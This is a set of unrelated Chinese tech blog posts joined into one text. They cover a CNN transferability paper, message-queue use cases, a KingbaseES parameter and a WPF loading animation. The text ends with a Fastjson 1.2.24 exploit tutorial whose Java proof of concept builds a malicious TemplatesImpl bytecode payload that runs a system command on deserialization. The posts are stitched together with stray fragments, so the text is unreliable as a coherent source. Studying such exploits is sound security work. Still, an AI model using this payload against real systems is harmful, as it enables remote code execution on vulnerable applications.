2024年3月

论文通过实验证明,ImageNet上的模型并不总能泛化到其他数据集中,甚至可能是相反的,而模型的深度和宽度也会影响迁移的效果。
如果需要参考,可选择类别数与当前任务相似的数据集上的模型性能。论文通过大量的实验来验证猜想,虽然没有研究出如通过数据集间的某些特性来直接判断模型迁移效果这样的成果,但读下来还是挺有意思的

来源:晓飞的算法工程笔记 公众号

论文: Is it Enough to Optimize CNN Architectures on ImageNet?

Introduction


深度卷积网络是现代视觉任务的核心模块,近年来诞生了许多优秀的卷积网络结构,如何评价网络的优劣是研究中很重要的事情。但目前的网络性能还不能直接通过理论判别,需要进行相关的实验验证。目前许多模型都建立在ImageNet的基础上,虽然ImageNet数据集很大,但相对于开发世界而言,只是微不足道的一部分。因此,论文的立意就是,探索ImageNet下的优秀模型能否都迁移到其它数据集中。
为了回答这一问题,论文提出了APR(architecture and performance relationship)指标。由于模型的性能与数据集相关,数据集间的APR指标能够对比相同结构在不同数据集下的表现。为了让实验更准确,论文随机采样了500个网络,并在多个数据集间进行对比。

Experiment


Experimental datasets

论文共在9个数据集上测试,数据集的样例如上图所示,这里简述下图片数和类别数:

  • Conrete:4万张图片,2个类别,平衡。
  • MLC2008:4万3000张图片,9个类别,不平衡。
  • ImageNet:130万张图片,1000个类别,平衡。
  • HAM10000:1万张图片,7个类别,不平衡。
  • Powerline:8000张图片,2个类别,平衡。
  • Insects:6300张图片,291类别,不平衡。
  • Intel Image Classification(natural):2500张图片,6个类别,平衡。
  • Cifar10:6万张图片,10个类别,平衡。
  • Cifar100:6万张图片,100个类别,平衡。

Experimental setup

论文从AnyNetX网络空间采样实验结构,AnyNetX主要包含三部分:

  • steam:固定结构,stride=2的
    \(3\times 3\)
    卷积,用于降低分辨率,提高输出维度。
  • body:包含4个stage,每个stage
    \(i\)
    由步长为
    \(s_i\)

    \(1\times 1\)
    卷积开头,后续是
    \(d_i\)
    个相同的标准residual bottleneck block,width为
    \(w_i\)
    ,bottleneck ratio为
    \(b_i\)
    ,group width为
    \(g_i\)
    (残差分支的并行子分支),这个参数对相同stage内的block是共享的。
  • head:固定结构,全连接层,用于返回特定大小的输出。

AnyNetX的设计空间共包含16个可变参数,共4个stage,每个stage都有4个独自的参数。两个参数
\(d_i\le 16\)

\(w_i\le 1024\)
均需能被8整除,
\(b_i\in 1,2,4\)

\(g_i\in 1,2,\cdots,32\)
,剩下的
\(stride_1\)
固定为1,其余的均为2。反复执行模型随机采样,取500个计算量在360MF和400MF之间的模型。

按表2的实验设置,将500个模型在不同的数据集上训练直到收敛得差不多了,获取其对应的性能指标。附录还有一些对比实验,使用了另外的配置,具体可见原文。

Experimental metrics

在进行实验之前,论文先对模型和数据集进行分析。定义eCDF(empirical cumulative error distribution)指标,用来标记错误率低于x的模型比例,n个模型的eCDF计算为:

从图3可以看到不同数据集上的eCDF表现,ImageNet数据集的模型比例随模型性能增加稳定下降,模型之间的差异较大。Natural、Insects、Powerline和Cifar100数据集的高性能模型较多,只包含少量低性能模型,Concrete、HAM10000、MLC2008和Cifar10数据集的模型性能则比较集中。

论文从两个方面来分析模型与性能的关系(APRs, architecture-performance relationship):

  • 以ImageNet上的测试误差为x轴,目标数据集上的测试误差为y轴,标记所有的模型。
  • 计算spearman相关系数
    \(\rho\in[-1, 1]\)
    ,用以反馈两个数据集上模型误差的相关性,0代表无关,-1和1代表关系可用单调函数表达。

分析的结果如图4所示:

  • 第一行的数据集与ImageNet有较强或中等的相关性,表明大多数的分类任务跟ImageNet有相似的APR表现,可根据ImageNet来进行模型的选取。
  • Concrete跟ImageNet无相关性,其准确率占满了
    \([0,0.5]\)
    的区间,在这种数据集上,模型的选择更应该注重性能而不是ImageNet上的表现。
  • 部分数据集跟ImageNet有轻度或明显的负相关性,在ImageNet上表现优秀的模型在这些数据集上反而表现一般。

通过上面的三个分析,我们可以初步回答论文提出的问题,即ImageNet下的优秀模型不一定迁移到其它数据集中。

Identifying Drivers of Difference between Datasets

论文对不同数据集上的top15模型的结构进行分析,发现ImageNet数据集的top15模型的block width和depth参数十分相似,第一个stage的block width和depth都十分小,随后逐级增加。Insects数据集也有类似的现象,而MLC2008和HAM10000数据集也有相似的趋势,但噪声更多一些。Powerline和Natural数据集则完全相反,参数呈逐级减少的趋势,最后一个stage均是很小的block。Cifar10和Cifar100数据集则更有趣,在block width上是呈逐级增加的趋势,而block depth上则是呈逐级减少的趋势。为此,论文打算研究下这两个参数在不同数据集上与模型性能的关系。

图5为所有stage累积的block depth与模型性能的关系。ImageNet的优秀模型的累积depth至少为10,此外没有其他的特殊关系。Insects数据集则完全无关。HAM10000有轻度向右倾斜现象,似乎有相关性,但肉眼看起来也没有强相关。Powerline、Natural和Cifar100数据集则有强烈的相关性,错误率随着累积depth增加而增加,优秀的模型累积depth均小于10。

图6为所有stage累积的width depth与模型性能的关系。ImageNet的模型性能与累积width呈反相关,优秀模型的累积width至少为250。Insects和HAM10000数据集也有类似的反相关性,但程度弱一些。Powerline和Natural数据集与累积width没有明显的相关性,而Cifar100数据集则有强烈的反相关性。
除了上述的两个参数的对比,论文还对比了bottleneck ratios和group width参数,具体可以看附录。总结而言,在不同的数据集上,最优模型的网络深度和网络宽度有可能差异较大,这是模型迁移能力的重要影响因子。

Impact of the Number of Classes

ImageNet相对其他数据集有超大的类别数,Insect数据集是类别数第二的数据集,其ARP与ImageNet高度相似。从这看来,类别数似乎也可能是数据集的最优模型结构的影响因素之一。
为了探究这一问题,论文从ImageNet中构造了4个新数据集ImageNet-100、ImageNet-10、ImageNet-5和ImageNet-2,分别随机选取100,10,5,2个类别,统称为ImageNet-X。ImageNet-100的训练方法跟原数据集一样,而其他3个数据集考虑到数据集小了,则采用top-1 error以及训练40个周期。

图7展示了子数据集与原数据集的ARP对比,从图中可以明显的看到,子数据集与原数据集的相关性随着类别数的减少而逐渐减少。这验证了论文猜测,数据集类别数也是影响模型结构与性能的相关性的重要因素。

论文也测试了block的累积depth和累积width在ImageNet-X数据集上的表现,结构如表3所示。从表中可以看到,随着类别数增加,累积depth和累积width的相关因子都在逐级增加(不代表相关性增加)。所以,可以认为类别数也是影响block的累积depth和累积width与模型性能相关性的重要因素。

论文已经通过ImageNet-X数据集证明了类别数对APR有着重要影响,虽然不能说简单地改变数据集的类别数就能复制APR表现,但我们可以将类别数相近的数据集的APR表现作为参考,而不是总参考ImageNet数据集。为了进一步验证这个想法,论文将ImageNet-X与各数据集的相关性进行的统计,结果如图8所示。
从图8可以看出,MLC2008和Cifar10数据集与对应的ImageNet-X数据集高度相关性。而原本与ImageNet有负相关性的Powerline和Natural数据集,则变为与ImageNet-X数据集有轻度正相关性,重要的是最好的模型的表现更一致了。为此,论文得出的结论是,相对于ImageNet数据集而言,ImageNet-X数据集比代表了更大的APR多样性。

Conclusion


论文通过实验证明,ImageNet上的模型并不总能泛化到其他数据集中,甚至可能是相反的,而模型的深度和宽度也会影响迁移的效果。
如果需要参考,可选择类别数与当前任务相似的数据集上的模型性能。论文通过大量的实验来验证猜想,虽然没有研究出如通过数据集间的某些特性来直接判断模型迁移效果这样的成果,但读下来还是挺有意思的。



如果本文对你有帮助,麻烦点个赞或在看呗~
更多内容请关注 微信公众号【晓飞的算法工程笔记】

work-life balance.

在笔者心中,
消息队列

缓存

分库分表
是高并发解决方案三剑客。

在职业生涯中,笔者曾经使用过 ActiveMQ 、RabbitMQ 、Kafka 、RocketMQ 这些知名的消息队列 。

这篇文章,笔者结合自己的真实经历,和大家分享消息队列的七种经典应用场景。

1 异步&解耦

笔者曾经负责某电商公司的用户服务,该服务提供用户注册,查询,修改等基础功能。用户注册成功之后,需要给用户发送短信。

图中,
新增用户

发送短信
都揉在用户中心服务里,这种方式缺点非常明显:

  1. 短信渠道不够稳定,发送短信会达到 5 秒左右,这样用户注册接口耗时很大,影响前端用户体验;

  2. 短信渠道接口发生变化,用户中心代码就必须修改了。但用户中心是核心系统。每次上线都必要谨小慎微。这种感觉很别扭,非核心功能影响到核心系统了。

为了解决这个问题,笔者采用了消息队列进行了重构。

  • 异步

    用户中心服务保存用户信息成功后,发送一条消息到消息队列 ,立即将结果返回给前端,这样能避免总耗时比较长,从而影响用户的体验的问题。

  • 解耦

    任务服务收到消息调用短信服务发送短信,将核心服务与非核心功能剥离,显著的降低了系统间的耦合度。

2 消峰

高并发场景下,面对突然出现的请求峰值,非常容易导致系统变得不稳定,比如大量请求访问数据库,会对数据库造成极大的压力,或者系统的资源 CPU 、IO 出现瓶颈。

笔者曾服务于神州专车订单团队,在订单的载客生命周期里,订单的修改操作先修改订单缓存,然后发送消息到 MetaQ ,订单落盘服务消费消息,并判断订单信息是否正常(比如有无乱序),若订单数据无误,则存储到数据库中。

当面对请求峰值时,由于消费者的并发度在一个阈值范围内,同时消费速度相对均匀,因此不会对数据库造成太大的影响,同时真正面对前端的订单系统生产者也会变得更稳定。

3 消息总线

所谓总线,就是
像主板里的数据总线一样, 具有数据的传递和交互能力,各方不直接通信,使用总线作为标准通信接口

笔者曾经服务于某彩票公司订单团队,在彩票订单的生命周期里,经过创建,拆分子订单,出票,算奖等诸多环节。
每一个环节都需要不同的服务处理,每个系统都有自己独立的表,业务功能也相对独立。假如每个应用都去修改订单主表的信息,那就会相当混乱了。

因此,公司的架构师设计了
调度中心
的服务,调度中心维护订单的信息,但它不与子服务通讯,而是通过
消息队列
和出票网关,算奖服务等系统传递和交换信息。

消息总线这种架构设计,可以让系统更加解耦,同时也可以让每个系统各司其职。

4 延时任务

用户在美团 APP 下单,假如没有立即支付,进入订单详情会显示倒计时,如果超过支付时间,订单就会被自动取消。

非常优雅的方式是:
使用消息队列的延时消息

订单服务生成订单后,发送一条延时消息到消息队列。消息队列在消息到达支付过期时间时,将消息投递给消费者,消费者收到消息之后,判断订单状态是否为已支付,假如未支付,则执行取消订单的逻辑。

RocketMQ 4.X 生产者发送延迟消息代码如下:

Message msg = new Message();
msg.setTopic("TopicA");
msg.setTags("Tag");
msg.setBody("this is a delay message".getBytes());
//设置延迟level为5,对应延迟1分钟
msg.setDelayTimeLevel(5);
producer.send(msg);

RocketMQ 4.X 版本默认支持 18 个 level 的延迟消息, 通过 broker 端的 messageDelayLevel 配置项确定的。

RocketMQ 5.X 版本支持任意时刻延迟消息,客户端在构造消息时提供了 3 个 API 来指定延迟时间或定时时间。

5 广播消费

广播消费
:当使用广播消费模式时,每条消息推送给集群内所有的消费者,保证消息至少被每个消费者消费一次。

广播消费主要用于两种场景:
消息推送

缓存同步

01 消息推送

下图是专车的司机端推送机制,用户下单之后,订单系统生成专车订单,派单系统会根据相关算法将订单派给某司机,司机端就会收到派单推送消息。

推送服务是一个 TCP 服务(自定义协议),同时也是一个消费者服务,消息模式是广播消费。

司机打开司机端 APP 后,APP 会通过负载均衡和推送服务创建长连接,推送服务会保存 TCP 连接引用 (比如司机编号和 TCP channel 的引用)。

派单服务是生产者,将派单数据发送到 MetaQ , 每个推送服务都会消费到该消息,推送服务判断本地内存中是否存在该司机的 TCP channel , 若存在,则通过 TCP 连接将数据推送给司机端。

02 缓存同步

高并发场景下,很多应用使用本地缓存,提升系统性能 。

本地缓存可以是 HashMap 、ConcurrentHashMap ,也可以是缓存框架 Guava Cache 或者 Caffeine cache 。

如上图,应用A启动后,作为一个 RocketMQ 消费者,消息模式设置为广播消费。为了提升接口性能,每个应用节点都会将字典表加载到本地缓存里。

当字典表数据变更时,可以通过业务系统发送一条消息到 RocketMQ ,每个应用节点都会消费消息,刷新本地缓存。

6 分布式事务

以电商交易场景为例,
用户支付订单
这一核心操作的同时会涉及到下游物流发货、积分变更、购物车状态清空等多个子系统的变更。

1、传统XA事务方案:性能不足

为了保证上述四个分支的执行结果一致性,典型方案是基于 XA 协议的分布式事务系统来实现。将四个调用分支封装成包含四个独立事务分支的大事务。基于 XA 分布式事务的方案可以满足业务处理结果的正确性,但最大的缺点是多分支环境下资源锁定范围大,并发度低,随着下游分支的增加,系统性能会越来越差。

2、基于普通消息方案:一致性保障困难

该方案中消息下游分支和订单系统变更的主分支很容易出现不一致的现象,例如:

  • 消息发送成功,订单没有执行成功,需要回滚整个事务。
  • 订单执行成功,消息没有发送成功,需要额外补偿才能发现不一致。
  • 消息发送超时未知,此时无法判断需要回滚订单还是提交订单变更。

3、基于 RocketMQ 分布式事务消息:支持最终一致性

上述普通消息方案中,普通消息和订单事务无法保证一致的原因,本质上是由于普通消息无法像单机数据库事务一样,具备提交、回滚和统一协调的能力。

而基于 RocketMQ 实现的分布式事务消息功能,在普通消息基础上,支持二阶段的提交能力。将二阶段提交和本地事务绑定,实现全局提交结果的一致性。

RocketMQ 事务消息是支持在分布式场景下
保障消息生产和本地事务的最终一致性
。交互流程如下图所示:

1、生产者将消息发送至 Broker 。

2、Broker 将消息持久化成功之后,向生产者返回 Ack 确认消息已经发送成功,此时消息被标记为"
暂不能投递
",这种状态下的消息即为
半事务消息

3、生产者开始
执行本地事务逻辑

4、生产者根据本地事务执行结果向服务端
提交二次确认结果
( Commit 或是 Rollback ),Broker 收到确认结果后处理逻辑如下:

  • 二次确认结果为 Commit :Broker 将半事务消息标记为可投递,并投递给消费者。
  • 二次确认结果为 Rollback :Broker 将回滚事务,不会将半事务消息投递给消费者。

5、在断网或者是生产者应用重启的特殊情况下,若 Broker 未收到发送者提交的二次确认结果,或 Broker 收到的二次确认结果为 Unknown 未知状态,经过固定时间后,服务端将对消息生产者即生产者集群中任一生产者实例发起
消息回查

  1. 生产者收到消息回查后,需要检查对应消息的本地事务执行的最终结果。
  2. 生产者根据检查到的本地事务的最终状态
    再次提交二次确认
    ,服务端仍按照步骤4对半事务消息进行处理。

7 数据中转枢纽

近10多年来,诸如 KV 存储(HBase)、搜索(ElasticSearch)、流式处理(Storm、Spark、Samza)、时序数据库(OpenTSDB)等专用系统应运而生。这些系统是为单一的目标而产生的,因其简单性使得在商业硬件上构建分布式系统变得更加容易且性价比更高。

通常,同一份数据集需要被注入到多个专用系统内。

例如,当应用日志用于离线日志分析时,搜索单个日志记录同样不可或缺,而构建各自独立的工作流来采集每种类型的数据再导入到各自的专用系统显然不切实际,利用消息队列 Kafka 作为数据中转枢纽,同份数据可以被导入到不同专用系统中。

日志同步主要有三个关键部分:日志采集客户端,Kafka 消息队列以及后端的日志处理应用。

  1. 日志采集客户端,负责用户各类应用服务的日志数据采集,以消息方式将日志“批量”“异步”发送Kafka客户端。
    Kafka客户端批量提交和压缩消息,对应用服务的性能影响非常小。
  2. Kafka 将日志存储在消息文件中,提供持久化。
  3. 日志处理应用,如 Logstash,订阅并消费Kafka中的日志消息,最终供文件搜索服务检索日志,或者由 Kafka 将消息传递给 Hadoop 等其他大数据应用系统化存储与分析。


如果我的文章对你有所帮助,还请帮忙
点赞、在看、转发
一下,你的支持会激励我输出更高质量的文章,非常感谢!

背景
同事A在客户现场,最近注意到客户的主数据库性能有所下降,尤其是在高峰时段。怀疑可能有一些复杂的查询影响了数据库的性能,但尚未确定具体是哪些查询。
为了诊断问题,A决定查看高峰期正在执行的查询,先通过sys_stat_activity视图看下当前有哪些sql在运行:

SELECT pid, usename, query, state FROM sys_stat_activity WHERE state = 'active';

结果显示了多个活动查询,A注意到有部分query字段记录的sql被截断了,从而无法获取完整的sql。
这是因为track_activity_query_size参数设置得太小,导致无法查看完整的查询字符串。默认情况下,这个参数的值可能不足以显示复杂查询的sql。

在跟客户申请后,在夜间修改了参数并重启数据库后,次日重新查询,已能获取到完整的sql语句。
后续对复杂的报表查询语句进行了优化,解决了问题。

参数说明
track_activity_query_size:指定跟踪每个活动会话当前执行命令所保留的字节数,它们被用于sys_stat_activity.query域。默认值是 1024。这个参数只能在服务器启动时被设置。
换句话说,track_activity_query_size设置的是sys_stat_activity.query字段可以保存的查询字符串的最大字符数。如果一个查询的长度超过了这个参数设置的大小,那么在sys_stat_activity.query 中显示的查询字符串会被截断。

注意
增加track_activity_query_size可能会增加每个会话的内存使用量。因此,在内存受限的环境中调整此参数时需要谨慎。
建议在调整此参数后监控数据库的内存使用情况,确保不会导致过度的内存压力。

track_activity_query_size 是KingbaseES中一个重要但经常被忽视的配置选项。
通过正确配置和使用此参数,您可以获得关于数据库活动的宝贵信息,这对于维护数据库的健康和优化性能至关重要。

前言

当我们在开发应用程序时,用户体验往往是至关重要的一环。在应用程序加载大量数据或执行复杂操作时,为用户提供一个良好的加载体验变得至关重要。加载动画是其中一个有效的方式,它不仅能够告知用户应用程序正在进行工作,还能够缓解用户在等待过程中的焦虑感。

一.需求分析

开发一个加载动画比较常见的做法一般有以下两种。

一种是直接在控件的上层添加一层半透明遮罩,在遮罩上面显示加载动画,需要显示加载效果的时候将这个遮罩显示出来,加载完成以后隐藏这个遮罩,这种方式虽然也能实现需求,但是缺点也很明显,每次要使用加载效果的时候都需要单独添加遮罩代码,单独写控制显示和隐藏的代码,一个项目页面那么多,每次都这样整,那不得把人整崩溃了。

还有一种实现方式是开发一个控件,在这个控件当中实现遮罩的效果,然后用这个控件把页面内容包起来,这样直接控制这个控件的属性就能实现遮罩效果,这也是很多第三方控件库的实现方式。这种方式在易用性上虽然有所提升,但是还是有上面的问题,每个要用的地方都得Copy一次代码。

今天我们这里使用第三种方式,那就是使用装饰器来实现这个功能,它的优点就是对源代码侵入很小,不用每次使用都Copy大段代码,并且可扩展性非常强。

二.基本用法

以下为示例代码,当ViewModel中的IsLoading属性值为True时,就会触发Loading动画。

View代码:

<Windowx:Class="LoadingDemo.Views.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:extensions="clr-namespace:LoadingDemo.Extensions"xmlns:prism="http://prismlibrary.com/"Title="Loading测试"Width="1366"Height="768"prism:ViewModelLocator.AutoWireViewModel="True"FontSize="22"WindowStartupLocation="CenterScreen">
    <Gridextensions:FrameworkElementExtension.IsLoading="{Binding IsLoading}">
        
    </Grid>
</Window>

ViewModel代码:

namespaceLoadingDemo.ViewModels
{
public classMainWindowViewModel : BindableBase
{
private bool _isLoading = false;public boolIsLoading
{
get { return_isLoading; }set { this.SetProperty(ref_isLoading, value); }
}
}
}

运行效果:

三、

级用法

2.1 FrameworkElementExtension.IsLoading只能在Grid上使用吗?

答:No,几乎所有控件都可以使用,Window、Page、UserControl、Panel、Button、Rectangle、Path、TextBox等等,都没问题,只需要将IsLoading设置为True,就会出现Loading效果。

2.2 我觉得加载动画不好看,有没有办法换成其它的?

答:当然可以,除了默认加载效果以外,还可以添加任意你喜欢的效果,不管它是文字、动画、视频、gif图片还是其它的东西,通通都可以,并且操作非常简单,一共有两种方式。

  • 方式一:统一添加的方式

只需在Resources中添加一个名为MaskContent的资源,在触发加载遮罩显示的时候就会自动读取该资源作为动画元素,如果放在App.Resources中,整个项目所有加载效果都使用该资源,如果放在Window.Resources中,Window中的所有加载效果都使用该资源,以此类推。以下都是合法的代码。

添加自定义动画效果(用户控件)

<Window.Resources>
    <controls:CustomLoadingx:Key="MaskContent"Width="35"Height="35" />
</Window.Resources>

添加文字

<Window.Resources>
    <TextBlockx:Key="MaskContent"Text="加载中..."HorizontalAlignment="Center"VerticalAlignment="Center"FontSize="22"FontWeight="Bold"Foreground="White" />
</Window.Resources>

添加进度条控件

<Window.Resources>
    <ProgressBarx:Key="MaskContent"Width="150"Height="15"HorizontalAlignment="Center"VerticalAlignment="Center"IsIndeterminate="True" />
</Window.Resources>

  • 方式二:单独添加的方式

<Gridextensions:FrameworkElementExtension.IsLoading="{Binding IsLoading}">
    <extensions:FrameworkElementExtension.MaskContent>
        <TextBlockText="加载中..."HorizontalAlignment="Center"VerticalAlignment="Center"FontSize="22"FontWeight="Bold"Foreground="White"/>
    </extensions:FrameworkElementExtension.MaskContent>
</Grid>

四.综合案例

如需以上代码,请到群(661224882)共享文件中下载

依赖

先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.46</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.1-GA</version>
</dependency>

Fastjson之任意get,set调用

TemplatesImpl链

老样子定义恶意类,然后打TemplatesImpl的defineClass

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        ClassPool pool = new ClassPool();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] codes = cc.toBytecode();
        String value = Base64.getEncoder().encodeToString(codes);
        String payload = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": [\""+value+"\"], \"_name\": \"c.c\", \"_tfactory\": {}, \"_outputProperties\": {},\"_name\": \"a\", \"_version\": \"1.0\", \"allowedProtocols\": \"all\"}";
        // 注意这里这些属性都是私有属性,所以得设置Feature.SupportNonPublicField来保证可以对私有属性赋值
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

打个断点进行分析,断点打在
JSON.parseObject
,进入parse

这里配置了我们传入的
Feature.SupportNonPublicField
为true

继续跟进parse

继续跟进parse

这里对token进行选择,我们的token在DefaultJSONParser中被赋值了12,继续跟进,LBRACE就是12

进入parseObject,取到key为
@type

加载key的value也就是我们传入的TemplatsImpl

跟进loadClass

往下走,获取一个类加载器来加载我们的恶意类,然后放入一个map中

返回之后往下走,调用
getDeserializer
将恶意类进行JSON反序列化

跟进该方法,一系列的判断,没啥用,直接过,来到这,创建了个
JavaBeanDeserializer

跟进该方法,又是一系列的判断,略过来到这里,调用了
JavaBeanDeserializer

跟进该构造方法

跟进build方法,这里循环调用恶意类的方法,调用到
getOutProperties
,define恶意类

set也是一样

JdbcRowSetImpl链

之前的JNDI注入分析文章已经分析过了
https://tttang.com/archive/1579/#toc_
https://www.cnblogs.com/F12-blog/p/18100120